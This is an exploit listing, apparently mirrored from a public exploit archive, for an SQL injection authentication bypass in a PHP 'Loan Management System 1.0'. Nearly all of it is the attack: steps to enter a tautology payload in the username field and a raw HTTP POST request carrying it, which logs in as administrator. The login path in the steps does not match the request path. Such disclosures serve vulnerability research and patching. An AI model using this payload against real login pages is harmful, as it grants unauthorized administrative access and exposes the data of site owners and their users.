Share
## https://sploitus.com/exploit?id=PACKETSTORM:164440
# Exploit Title: Loan Management System 1.0 - SQLi Authentication Bypass  
# Date: 08.10.2021  
# Exploit Author: Merve Oral  
# Vendor Homepage: https://www.sourcecodester.com/php/14471/loan-management-system-using-phpmysql-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14471&title=Loan+Management+System+using+PHP%2FMySQL+with+Source+Code  
# Version: 1.0  
# Tested on: Windows 10, Kali Linux  
# Loan Management System Login page can be bypassed with a simple SQLi to the username parameter.  
  
Steps To Reproduce:  
1 - Go to the login page http://localhost/audit_trail/login.php  
2 - Enter the payload to username field as "admin' or '1'='1'#" without double-quotes and type anything to password field.  
3 - Click on "Login" button and you are logged in as administrator.  
  
PoC  
  
POST /loan/ajax.php?action=login HTTP/1.1  
Host: merve  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 44  
Origin: http://merve  
Connection: close  
Referer: http://merve/loan/login.php  
Cookie: PHPSESSID=911fclrpoa87v9dsp9lh28ck0h  
  
username=admin'+or+'1'%3D'1'%23&password=any